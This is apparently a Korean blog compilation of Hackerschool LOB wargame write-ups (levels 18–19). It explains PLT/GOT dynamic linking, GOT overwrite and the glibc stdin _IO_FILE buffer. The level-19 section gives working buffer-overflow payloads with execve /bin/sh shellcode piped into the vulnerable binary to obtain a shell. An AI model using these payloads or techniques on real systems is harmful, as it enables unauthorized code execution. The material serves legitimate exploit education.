ebx = .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소(0x80481dc)
ecx = .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소가 들어있는 스택 주소(0xbfffefb4)
edx, edi = link_map의 주소(0xb7fff918)
ebp = GOT 주소(0x804a00c)
esi = 0x1

esp+0x2c(0xbfffefa4) = 0x804821c(STRTAB의 주소)

esp+0x3c(0xbfffefb4) = 0x80481dc(.dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소로 puts 문자열의 offset 값이 있다.)

_dl_lookup_symbol_x 함수 디스어셈블

_dl_lookup_symbol_x 함수는 lob 환경에서와 비교했을 때 함수 이름도 다를 뿐더러 라인 수도 더 많다.

_dl_lookup_symbol_x 함수는 lob 환경에서 호출했던 _dl_lookup_versioned_symbol 함수와는 이름이 다르지만 구해오는 값은 같다.

symtab의 주소와 lib의 주소를 얻어온다.

_dl_lookup_symbol_x 함수를 끝내고 fixup 함수로 복귀

_dl_lookup_symbol_x 함수를 끝내고 _dl_fixup 함수로 복귀한다.

_dl_lookup_symbol_x 함수의 반환값 확인

_dl_lookup_symbol_x 함수의 반환값을 edi 레지스터로 옮기는데 반환값은 lib의 주소(0xb7e05000)가 들어있는 주소 0xb7fd51b0이다.

libc의 주소를 출력해보니 ASLR 기능으로 인해 실행 할 때마다 변한다.

esp+0x1c 주소에 구해둔 SYMTAB의 주소를 ebx 레지스터에 저장

그리고 나서 esp+0x1c(0xbfffefb4)에 있는 값 0xb7e0aa48을 ebx 레지스터에 옮긴 후 0인지 아닌지 검사 후 조건 분기를 하는데, 0xb7e0aa48 주소는 SYMTAB의 주소이다.

물론 같은 값을 and 연산하므로 결과는 1이 되고, 이로인해 ZF 플래그는 설정되지 않으며 je 명령은 ZF 플래그가 1이여야 점프하므로 je 명령은 수행되지 않는다.

이어서 edi 레지스터 역시 값이 잘 구해졌는지 검사하여 점프를 하는데, ZF 플래그가 설정되지 않으므로 je 명령은 수행되지 않는다.

libc 주소를 담고 있는 주소에서 libc 주소를 가져와 eax 레지스터에 저장

이어서 edi 레지스터에는 libc의 주소가 담긴 주소가 있었는데, 해당 주소에서 libc의 주소를 가져와 eax 레지스터에 넣는다.

ebx+0xc의 주소에 있는 값 0x22를 edx 레지스터에 넣고

SYMTAB에 있는 라이브러리에서의 puts 함수 offset 값을 가져와 라이브러리 주소와 더하여 puts 함수의 실제 주소를 구해 eax 레지스터에 넣기

ebx 레지스터에 있는 값은 SYMTAB의 주소이고, ebx+0x4 주소에는 0x5fcb0이라는 값이 있는데 이 값은 라이브러리에서 puts 함수의 offset 값이다.

라이브러리 주소(0xb7e05000)에 offset 값(0x5fcb0)을 더하면 0xb7e64cb0라는 puts 함수의 실제 주소가 구해진다.

그리고 si 명령으로 진행하다가 0xb7fe98e0 주소의 명령에 의해 puts 함수의 실제 주소 0xb7e64cb0이 GOT 주소(0x804a00c)에 덮어씌워진다.

두 번째 puts 함수 호출 부분

_dl_fixup 함수가 끝나고 _dl_runtime_resolve 함수로 복귀한뒤 _dl_runtime_resolve 함수도 종료되고 main 함수로 돌아와서 두 번째 puts 함수를 호출하는 부분을 보면 GOT 주소에 puts 함수의 실제 주소가 적혀있다.

결론

dynamic 링커는 호출할 함수 이름이 있는 메모리의 주소를 구하고 이를 이용해 공유 라이브러리에 있는 실제 함수의 주소를 구해온다.

과정 요약(ubuntu 환경 기준)

plt
got
plt(plt+6 : reloc_offset(0x0), plt+11 : jmp 0x80482d0[dynamic linking])
dynamic 링킹 시작(push link_map(0xb7fff918), jmp _dl_runtime_resolve(0xb7ff0000))

_dl_runtime_resolve
	edx = esp+0xc(0xbffff044) = reloc_offset(0x0)
	eax = esp+0x10(0xbffff048) = link_map(0xb7fff918)
	
    _dl_fixup
        strtab 주소 : 0x804821c
        jmprel 주소 : 0x8048298
        elf32_rel의 내용을 이용해 .dynsym에서의 elf32_sym의 내용 찾기
        elf32_sym의 내용을 이용해 STRTAB에서의 puts 문자열의 주소 찾기
            STRTAB에서의 puts 문자열 offset 값(0x1a) 찾기
            GOT 주소 알아오기
            실제로 STRTAB 주소와 puts offset을 더해 주소를 찾음
	
	eax = STRTAB에서 puts 문자열의 실제 주소(0x8048236)
	ebx = .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소(0x80481dc)
	ecx = .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소가 들어있는 스택 주소(0xbfffefb4)
	edx, edi = link_map의 주소(0xb7fff918)
	ebp = GOT 주소(0x804a00c)
	esi = 0x1
	esp+0x2c(0xbfffefa4) = 0x804821c(STRTAB의 주소)
	esp+0x3c(0xbfffefb4) = 0x80481dc(.dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소로 puts 문자열의 offset 값이 있다.)
        _dl_lookup_symbol_x 진입
        
    _dl_lookup_symbol_x
	eax = lib의 주소(0xb7e05000)가 담긴 주소(0xb7fd51b0)
        esp+0x1c = SYMTAB의 주소(0xb7e0aa48)
        
    _dl_fixup
        라이브러리의 주소와 SYMTAB에서 알아낸 puts 함수의 offset 값을 더해 실제 주소를 알아와 eax 레지스터에 저장
        GOT에 puts 함수의 실제 주소 넣기

	ebx = STMTAB의 주소(0xb7e0aa48)
	ebx+0x4 = SYMTAB에 있는 라이브러리에서의 puts 함수 offset 값(0x5fcb0)
	eax = puts 함수의 실제 주소
	
        
_dl_runtime_resolve
	puts함수의 실제 주소로 넘어가 puts 함수 실행


GOT 주소 : 0x804a00c
reloc_offset : 0x0
link_map : 0xb7fff918
_dl_runtime_resolve : 0xb7ff0000
strtab 주소 : 0x804821c
jmprel 주소 : 0x8048298
JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체 형식의 값의 주소 : 0x8048298
.dynsym에서 puts 함수에 해당하는 Elf32_Sym 구조체 형식의 값이 있는 index : 0x1
재배치 타입 : 0x7
.dynsym에서 puts 함수에 해당하는 Elf32_Sym 구조체 형식의 값의 주소 : 0x80481dc
STRTAB에서의 puts 함수 offset : 0x1a
lib의 주소 : 0xb7e05000
라이브러리에서의 puts 함수 offset : 0x5fcb0
실제 puts 함수 주소 : 0xb7e64cb0

GOT Overwrite

_dl_lookup_symbol_x 함수의 인자로 넘어가는 함수 이름을 조작한다면 공유 라이브러리에 있는 다른 함수들도 호출할 수 있다.

함수 이름은 STRTAB 테이블에 있는데, STRTAB 테이블은 쓰기 권한이 없기 때문에 문자열을 직접 조작할 수 없지만, STRTAB을 가리키는 포인터를 쓰기 권한이 있는 다른 메모리 주소를 가리키도록 하고 그 곳에 원하는 함수 이름이 있다면 exploit이 가능하다.

https://nightohl.tistory.com/entry/CMOV-assembly-CMOV-관련-모든-명령어-정리

https://sdosj.tistory.com/entry/무분기-로직

[hackerschool lob redhat] LEVEL19 (nightmare -> xavis) : fgets + destroyers(glibc에서 .c 파일을 참고하여 stdin의 구조를 파악하고 stdin 버퍼 이용, 그리고 payload 내 순서의 의문점)

Sean(slay) — Sat, 24 Feb 2024 20:55:51 +0900

문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
	char buffer[40];
	char *ret_addr;

	// overflow!
	fgets(buffer, 256, stdin);
	printf("%s\n", buffer);

	if(*(buffer+47) == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

	if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

	// check if the ret_addr is library function or not
	memcpy(&ret_addr, buffer+44, 4);
	while(memcmp(ret_addr, "\x90\x90", 2) != 0)	// end point of function
	{
		if(*ret_addr == '\xc9'){		// leave
			if(*(ret_addr+1) == '\xc3'){	// ret
				printf("You cannot use library function!\n");
				exit(0);
			}
		}
		ret_addr++;
	}

        // stack destroyer
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}

1. 커맨드라인 인자가 아닌 fgets() 함수로 입력을 받는다.

2. RET 부분에 덮어쓰는 값이 스택의 주소이거나 code(text) 영역의 코드 가젯의 주소이면 안된다.

3. RET 부분에 덮어쓸 4byte 값을 ret_addr에 복사하고, ret_addr의 값이 \x9090이 아니라면 while문을 돌게 되는데, \x9090 대신 0xc9, 0xc3이라면 에러 메시지를 띄우며 종료하고, \x9090도 아니고 0xc90xc3도 아니라면 \x9090을 만날 때까지 ret_addr의 주소부터 하여 비교한다.

그리고 \x9090을 만나면 while() 문을 탈출하고 스택과 LD 영역을 0으로 초기화한다.

1번의 조건으로 인해 이번 문제는 커맨드라인 인자가 아닌 입력으로 xavius에 값을 보내야 한다.

2번의 조건으로 인해 쉘 코드를 스택에 저장해두고 해당 주소로 실행 흐름을 옮기거나 코드 가젯을 사용할 수 없다.

objdump -d xavius | grep -B 3 ret

3번의 조건에서 ret_addr 영역부터하여 0x9090인지와 0xc9, 0xc3인지를 검사하는데, 0xc9와 0xc3은 위의 사진을 보면 leave와 ret 명령어의 opcode이고, leave, ret 명령의 opcode가 스택에 있으면 종료한다는 것이다.

그리고 ret_addr 부분부터 하여 0x9090을 만나게 되면 while()문을 탈출하고 스택을 0으로 초기화 한 뒤 프로그램이 종료된다.

이번 문제는 거의 모든 부분의 스택 사용을 차단당했고, 쉘코드를 담아둘 버퍼 공간으로 공유 라이브러리 영역을 이용하거나 코드 가젯을 사용해서 system() 함수를 호출하거나 등의 방법을 이용할 수 없다.

게다가 \x9090을 만나기 전까지 ret_addr부터 while 문으로 검사하기 때문에 \x9090을 payload에 넣어야 한다.

이번 문제는 사용자의 입력을 fgets()를 이용해 받는데, 위의 소스코드에서 fgets() 함수의 3번째 인자를 보면 stdin 이라는 버퍼를 사용한다.

stdin

참고)
stdio.c 등 c 소스코드 보는 법
https://ftp.gnu.org/gnu/glibc/ 에서 glibc-2.1.3.tar.gz를 다운로드 하여 압축 해제하면 .c 파일들이 있다.

glibc-2.1.3에서 stdin은 "_IO_FILE"이라는 구조체의 구조체 포인터 형식으로 선언되어있다.

glibc-2.1.3/include/stdio.h

// glibc-2.1.3/include/stdio.h

#ifndef _STDIO_H
#ifdef USE_IN_LIBIO
#ifdef __need_FILE
# include <libio/stdio.h>
#else
# include <libio/stdio.h>

/* Now define the internal interfaces.  */
extern int __fcloseall __P ((void));
extern int __snprintf __P ((char *__restrict __s, size_t __maxlen,
			    __const char *__restrict __format, ...))
     __attribute__ ((__format__ (__printf__, 3, 4)));
extern int __vfscanf __P ((FILE *__restrict __s,
			   __const char *__restrict __format,
			   _G_va_list __arg))
     __attribute__ ((__format__ (__scanf__, 2, 0)));
extern int __vscanf __P ((__const char *__restrict __format,
			  _G_va_list __arg))
     __attribute__ ((__format__ (__scanf__, 1, 0)));
extern _IO_ssize_t __getline __P ((char **__lineptr, size_t *__n,
				   FILE *__stream));
extern int __vsscanf __P ((__const char *__restrict __s,
			   __const char *__restrict __format,
			   _G_va_list __arg))
     __attribute__ ((__format__ (__scanf__, 2, 0)));

#endif
#else
#include <stdio/stdio.h>
#endif

# define __need_size_t
# include <stddef.h>
/* Generate a unique file name (and possibly open it).  */
extern int __path_search __P ((char *__tmpl, size_t __tmpl_len,
			       __const char *__dir, __const char *__pfx,
			       int __try_tempdir));

extern int __gen_tempname __P ((char *__tmpl, int __openit, int __large_file));

/* Print out MESSAGE on the error output and abort.  */
extern void __libc_fatal __P ((__const char *__message))
     __attribute__ ((__noreturn__));


#endif

stdin이 "_IO_FILE"이라는 형식으로 선언되어 있는 것을 확인해보기 위해 먼저 glibc-2.1.3/include/stdio.h 파일을 열어보니 libio/stdio.h 파일을 포함하는 것을 볼 수 있다.

glibc-2.1.3/libio/stdio.c

#include "libioP.h"
#include "stdio.h"

#undef stdin
#undef stdout
#undef stderr
FILE *stdin = &_IO_2_1_stdin_.file;
FILE *stdout = &_IO_2_1_stdout_.file;
FILE *stderr = &_IO_2_1_stderr_.file;

#undef _IO_stdin
#undef _IO_stdout
#undef _IO_stderr
strong_alias (stdin, _IO_stdin);
strong_alias (stdout, _IO_stdout);
strong_alias (stderr, _IO_stderr);

glibc-2.1.3/libio/stdio.c 파일을 보면 stdin은 FILE 형식으로 선언되어 있다.

그리고 Ctrl을 누른 상태에서 stdio.h를 클릭하면 glibc-2.1.3/libio/stdio.h 파일로 연결된다.

glibc-2.1.3/libio/stdio.h

// glibc-2.1.3/libio/stdio.h

/* Standard streams.  */
extern FILE *stdin;		/* Standard input stream.  */
extern FILE *stdout;		/* Standard output stream.  */
extern FILE *stderr;		/* Standard error output stream.  */
/* C89/C99 say they're macros.  Make them happy.  */
#define stdin stdin
#define stdout stdout
#define stderr stderr

glibc-2.1.3/libio/stdio.h 파일에서 "stdin"을 검색해보니 stdin은 FILE * 형식으로 되어 있는 것을 확인할 수 있다.

// glibc-2.1.3/libio/stdio.h

/* The opaque type of streams.  */
typedef struct _IO_FILE FILE;

Ctrl 키를 누른 상태에서 FILE을 클릭해보니 FILE은 _IO_FILE 이라는 구조체이다.

glibc-2.1.3/libio/libio.h

struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _blksize;
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

Ctrl 키를 누른 상태에서 _IO_FILE을 클릭해보니 _IO_FILE의 구조체가 나온다.

1. int _flags

2. char *_IO_read_ptr : 읽을 데이터가 있는 영역의 현재 위치를 가리키는 포인터.

3. char *_IO_read_end : 읽을 데이터가 있는 영역의 끝을 가리키는 포인터. EOF라고 보면 될 듯 하다.
 
4. char *_IO_read_base : 읽고 있는 데이터의 시작을 가리키는 포인터.
 
5. char *_IO_write_base : 데이터를 쓸 영역의 시작 위치를 가리키는 포인터.
 
6. char *_IO_write_ptr : 데이터를 쓸 영역의 현재 위치를 가리키는 포인터.
 
7. char *_IO_write_end : 데이터를 쓸 영역의 끝을 가리키는 포인터.
 
8. char *_IO_buf_base : 버퍼의 시작 주소를 가리킨다.
 
9. char *_IO_buf_end : 버퍼의 끝 주소를 가리킨다.
 
10. char *_IO_save_base

11. char *_IO_backup_base

12. char *_IO_save_end

13. struct _IO_marker *_markers
 
14. struct _IO_FILE *_chain
 
15. int _fileno
 
16. int _flags2
 
17. __off_t _old_offset
 
18. unsigned short _cur_column
 
19. signed char _vtable_offset
 
19. char _shortbuf[1]
 
20. _IO_lock_t *_lock

_IO_FILE 구조체의 대표적인 각 필드는 위와 같다.

각 필드의 주석 정보를 참고하면 _IO_read_base ~ _IO_read_end 영역에서 데이터를 읽고, 새로운 데이터가 입력되면 _IO_write_base ~ _IO_write_end 영역 안에 데이터를 쓰며, _IO_read_ptr와 _IO_write_ptr는 각각 읽고 쓰는 동안의 커서 역할인것 같다.

그리고 _IO_buf_base ~ _IO_buf_end의 영역은 입력값을 저장하는 버퍼 공간으로 예약되어 있는 영역인 것 같다.

dummy 값 확인

지역 변수의 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다.

공격

이번 문제에서는 fgets() 함수를 이용해 stdin 버퍼를 사용하므로 stdin 버퍼를 이용하면 된다.

python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 19 + "aaaa"' > data

cp xavius xavius2

gdb -q xavius2

set disassembly-flavor intel

disas main

먼저 test payload를 작성하고 test payload를 data 라는 파일에 담는다.

이어서 프로세스화를 위해 xavius를 xavius2로 복사한 뒤 복사한 파일을 gdb에서 연다.

그리고 fgets() 함수를 호출하는 부분 0x8048729와 ret 명령 부분 0x804882a에 breakpoint를 걸고 test payload를 입력으로 주며 실행한다.

참고)

r < <(python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 19 + "aaaa"')

gdb에서 인자를 stdin으로 주려면 위에서 data 파일로 만들어서 줄 필요없이 위의 명령을 이용해 바로 사용하면 된다.

x/3x $esp

x/40x 0x401068c0

ni

x/40x 0x401068c0

1. int _flags

2. char *_IO_read_ptr : 읽을 데이터가 있는 영역의 현재 위치를 가리키는 포인터.

3. char *_IO_read_end : 읽을 데이터가 있는 영역의 끝을 가리키는 포인터. EOF라고 보면 될 듯 하다.
 
4. char *_IO_read_base : 읽고 있는 데이터의 시작을 가리키는 포인터.
 
5. char *_IO_write_base : 데이터를 쓸 영역의 시작 위치를 가리키는 포인터.
 
6. char *_IO_write_ptr : 데이터를 쓸 영역의 현재 위치를 가리키는 포인터.
 
7. char *_IO_write_end : 데이터를 쓸 영역의 끝을 가리키는 포인터.
 
8. char *_IO_buf_base : 버퍼의 시작 주소를 가리킨다.
 
9. char *_IO_buf_end : 버퍼의 끝 주소를 가리킨다.

x 명령을 이용해 스택에 있는 fgets() 함수의 3인자를 보면 stdin의 주소는 0x401068c0이다.

그리고 이는 구조체 포인터로 되어있기 때문에 0x401068c0 주소의 값들을 보면 위와 같은데 fgets() 함수를 호출하기 전에는 값들이 채워져 있지 않고 flag 값만 채워져 있다.

fgets() 함수를 호출한 후 0x401068c0 주소의 값들을 다시 보면 값들이 채워져 있는 것을 확인할 수 있는데

버퍼의 공간은 0x40015000부터 0x40016000까지이고, 읽을 데이터가 있는 영역에서 현재 위치는 0x40015031이고, 데이터를 쓸 영역의 현재 위치는 0x40015000이다.

참고) x/40x 0x401068c0 대신 x/40x stdin을 입력해도 된다.

버퍼의 공간이 0x40015000부터이기 때문에 0x40015000주소를 보면 입력한 데이터가 있다.

다음 bp가 걸린 위치까지 실행하면 ret 명령에서 멈추게 되는데, 이때 stdin을 보면 아직 값이 그대로 남겨져 있고, 0x40015000 주소에 있는 값 역시 여전히 남겨져 있다.

main() 함수가 종료될 때도 0x40015000 주소에는 쉘코드가 남아 있기 때문에 stdin 버퍼를 이용해 0x40015000 주소로 반환하도록 하면 된다.

(python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 19 + "\x00\x50\x01\x40"'; cat) | ./xavius

payload를 수정하여 xavius에 인자로 주며 실행하면 xavius의 password인 throw me away를 얻을 수 있다.

참고)

(python -c 'print "\x90" * 44 + "\x00\x50\x01\x40" + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'; cat) | ./xavius

(python -c 'print "\x90" * 19 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x00\x50\x01\x40"'; cat) | ./xavius

이번 문제의 payload에서 NOP와 쉘코드의 위치는 중요하지 않다.

어차피 stdin의 버퍼 영역인 0x40015000 주소에 입력한 값이 들어가게 되는데 NOP + shellcode + RET 순서이든, shellcode + NOP + RET 순서이든 RET 부분에 40015000 주소만 잘 들어가면 쉘 코드가 실행될 것이기 때문이다.

의문점)

근데 NOP + RET + shellcode 순서는 왜 되는걸까?

NOP를 따라 흘러가다가 RET 값은 무시하고 쉘 코드가 실행되는 것인가.

이해가 안되는 경우를 위해 간략히 해둔 공격이 성공하는 이유

낮은 주소

ret_addr

buffer[40]

sfp

ret

argc

argv

env

높은 주소

RET 부분이 "\x00\x50\x01\x40" 값으로 변조된 상태에서 "\x00\x50\x01\x40"값을 ret_addr에 복사한다.

이 상태에서 ret_addr의 값을 0x9090과 대조해보면 일치하지 않기 때문에 while문을 돌게 되고, 0xc9c3도 아니기 때문에 종료되지 않고 계속 ret_addr 주소부터 시작하여 0x9090을 만날 때까지 돌다가 0x90을 만나서 while문을 탈출하고 스택 주소가 모두 0으로 초기화 된 상태로 main() 함수가 끝나게 되는데

이때 RET 부분에는 stdin의 버퍼 주소가 들어있고, stdin의 버퍼 주소에는 NOP + 쉘코드 혹은 쉘코드 + NOP가 들어있기 때문에 결과적으로 쉘코드가 있는 주소로 반환되는 것이므로 쉘 코드가 실행된다.

참고)

NOP+shellcode 순서가 비교적 shellcode+NOP 순서보다는 더 빨리 while문을 탈출할 것이다.

ret_addr의 주소부터 \x9090을 검사하는데, buffer[40]에 NOP + shellcode 순서로 값이 들어있으면 5번째 쯤 while문을 돌게 될 때 바로 \x9090을 만나게 되므로 while 문을 탈출하고 main() 함수가 종료된다.

[glibc의 .c 파일들을 찾은 경로]
https://kldp.org/node/55667
https://directory.fsf.org/wiki/GNU
https://www.gnu.org/software/libc/
https://ftp.gnu.org/gnu/glibc/ -> glibc-2.39.tar.gz

_IO_FILE : https://koharinn.tistory.com/255
_IO_FILE_plus의 모든 것 : https://wyv3rn.tistory.com/128#-IO-FILE%--%EA%B-%AC%EC%A-%B-%EC%B-%B-
_IO_FILE 구조체 : https://mineta.tistory.com/82
_IO_FILE 구조체 위치 및 역할 : https://mineta.tistory.com/82
_IO_FILE 구조체 필드의 역할 정리 : https://blog.naver.com/sthellfire/220665754348

[hackerschool lob redhat] LEVEL18 (succubus -> nightmare) : plt(plt & got 동작 방식, GOT overwrite, RET부분을 Overwrite하여 해결)

Sean(slay) — Thu, 22 Feb 2024 23:17:36 +0900

문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// check address
	addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

	// dangerous waterfall
	memset(buffer+40+8, 'A', 4);
}

1. 커맨드라인 인자가 필요하다.
2. RET 부분에 덮어쓰는 값이 strcpy() 함수의 주소여야 한다.
3. buffer[40]+48 부분 즉 RET 부분의 다음 부분 4byte는 'A'로 초기화 된다.

RET 부분을 strcpy() 함수의 주소로 덮어쓰면 그 다음 인자는 [strcpy() 함수의 RET] [dest] [origin] 이여야 하는데,
strcpy() 함수의 RET 부분이 'AAAA'로 초기화 된다.

아마도 RET 부분을 조작하여 연속적으로 반환하는 기법을 막으려고 한 것 같다.

문제 소스 코드에 있는 힌트를 참고하면 PLT 라는 게 있다.

PLT & GOT

[plt]

외부 library 함수를 사용할 수 있도록 연결해주는 table이다.
plt를 통해 다른 라이브러리에 있는 함수를 호출해 사용할 수 있다.

[got]

plt가 참조하는 table이다.
plt에서 구한 함수의 절대 주소가 저장되어 있다.

함수를 호출할 때 최초로 호출하는 것이라면 해당 함수의 주소를 알아오는 과정이 필요하고, 알아낸 주소를 기록해둘 곳이 필요한데, 여기서 함수의 주소를 알아내는데 필요한 코드의 일부분이 들어있는게 plt이고, 알아낸 주소를 기록해두는 곳이 GOT이다.

PLT와 GOT 그리고 dynamic link

plt와 GOT를 이해하기 위해서는 링커를 알아야 하고, 링커가 링크를 하는 방법에는 static과 dynamic이 있는데, 이 중에서도 Dynamic과 연관이 깊다.

링크는 라이브러리 같은 필요한 오브젝트 파일들을 연결시키는 작업을 말하는데

static 방식은 실행 파일 안에 모든 코드가 포함되게 하는 방식으로, 라이브러리 연동 과정이 따로 필요하지 않고, 한 번 생성한 파일에 대해서 필요한 라이브러리를 따로 관리하지 않아도 된다는 점으로 인해 편하지만 파일의 크기가 커지고, 같은 내용을 매 번 메모리에 매핑 시켜야 한다는 단점이있다.

반면에 dynamic 방식은 공유 라이브러리를 사용하는 방식으로, 라이브러리르 하나의 메모리 공간에 매핑해두고 여러 프로그램에서 공유하여 사용하는데, 실행 파일 안에 라이브러리 코드 전체가 들어가진 않으므로 비교젹 크기가 훨씬 작고, 실행시에도 상대적으로 적은 메모리를 차지하며, 관리가 쉽다는 장점이 있지만, 실행 파일이 라이브러리에 의존해야 한다는 점으로 인해 필요한 라이브러리가 없으면 실행할 수 없다는 단점이 있다.

그리고 static 방식과 dynamic 방식 중 dynamic 방식을 사용하여 컴파일 했을 때 PLT와 GOT를 사용하게 된다.

이유는 static 방식은 라이브러리 내용 전체가 실행 파일 안에 있기 때문에 함수의 주소를 알아내는 과정이 필요하지 않지만, dynamic 방식은 라이브러리의 내용이 실행 파일과 분리되어 있기 때문에 함수의 주소를 알아오는 과정이 필요하기 때문이다.

전체적인 PLT와 GOT의 동작 원리

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

바이너리가 실행되면 ASLR에 의해 라이브러리가 임의의 주소에 매핑이 되고, 이 상태에서 라이브러리 내의 함수를 호출하면 라이브러리의 symbol들 중에서 호출하는 함수의 이름과 똑같은 symbol을 찾고, 해당 함수의 정의를 발견하면 그 주소로 실행 흐름을 옮기게 된다.

이 과정을 runtime resolve 라고 하는데, 만약 최초로 함수를 호출하는 것이라면 위와 같이 runtime resolve 과정을 거쳐 알아낸 주소를 GOT에 기록해둔다.

그리고 같은 함수를 또 호출하게 될 때는 GOT에 기록해뒀기 때문에 runtime resolve 과정없이 바로 해당 함수를 호출한다.

https://bnzn2426.tistory.com/27

다시 말해 최초로 함수를 호출할 때는 runtime resolve 과정을 거쳐서 GOT에 기록하고, 두 번째 호출부터는 runtime resolve 과정을 거치지 않고 GOT에 기록해둔 주소로 바로 실행 흐름을 옮긴다.

결론적으로 최초로 함수 호출을 하면 PLT로 이동하고, PLT에서는 GOT를 참조하는데, 이때 GOT에 해당 함수의 주소가 없다면, PLT로 다시 돌아가서 _dl_runtime_resolve를 수행한 후 GOT에 실제 주소를 저장하고 해당 함수 주소로 실행 흐름을 옮긴다.

(PLT로 다시 돌아가는 이유는 아마 호출하려는 함수를 찾기 위한 기본적인 정보가 PLT에 포함되어 있기 때문이다.)

그리고 두 번째 호출부터는 PLT로 이동하고, PLT에서는 GOT를 참조하는데, 이때 GOT에는 해당 함수의 주소가 있기 때문에 바로 해당 함수 주소로 실행 흐름을 옮긴다.

(이해가 되지 않는다면, 이 글 맨 아래에 줄여서 설명해둔 plt&got 핵심 설명 부분을 참고한다.)

plt & got 개념 및 관계
https://0secusik0.tistory.com/67

왜 plt와 got가 필요한가
https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

level17 문제의 소스코드 일부분과 level18 문제의 소스코드 일부분 비교

// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0)
{
	printf("You must fall in love with DO\n");
	exit(0);
}

// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0)
{
	printf("You must fall in love with strcpy()\n");
	exit(0);
}

위의 코드들을 보면 비교하는 함수만 다를 뿐 완전 동일한 코드임을 알 수 있다.

하지만 차이점이라고 한다면, 첫 번째 코드에서 DO() 함수는 plt와 got를 이용하지 않고, 두 번째 코드에서 strcpy() 함수는 plt와 got를 이용한다는 것인데, 그 이유는 DO() 함수는 코드에 포함이 되어 있고, strcpy() 함수는 라이브러리에 있기 때문이다.

PLT & GOT 확인

objdump -h ./nightmare | grep -A1 "\ .plt\ "

objdump -h ./nightmare | grep -A1 "\ .got\ "

바이너리 파일에서 plt와 got 영역을 보면 plt는 READONLY인 반면에, got는 READONLY가 아닌 것을 확인할 수 있는데, 이러한 점 때문에 GOT overwrite 기법이라는 게 있다.

objdump -d -j .plt ./nightmare

objdump를 이용해 plt 영역에 있는 값들을 보면 위와 같다.

objdump -R ./nightmare

이어서 objdump를 이용해 got 영역을 위와 같은데 이전에 plt에 있는 값들일아 비교해서 보면 plt에서 점프하는 주소들이 got에 다 저장이 되어있다.

GOT overwrite

got overwrite는 말 그대로 GOT에 있는 주소를 overwrite 하는 것이다.

예를 들어 GOT에 저장되어 있는 printf() 함수의 주소를 system() 함수의 주소로 변조하면

변조된 후 printf() 함수를 호출했을 때 system() 함수가 호출되는 것이다.

dummy 값 확인

지역 변수의 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다.

공격

위에서 GOT overwrite 기법이 언급됐는데, GOT overwrite 기법은 변조된 이후 변조당하기 전의 함수가 한 번 더 호출되어야 하므로 payload를 구성함에 있어서 살짝 귀찮음이 있다.

하지만 GOT overwrite 기법처럼 뭔가를 덮어쓴다는 방식으로 문제를 풀면 되는데

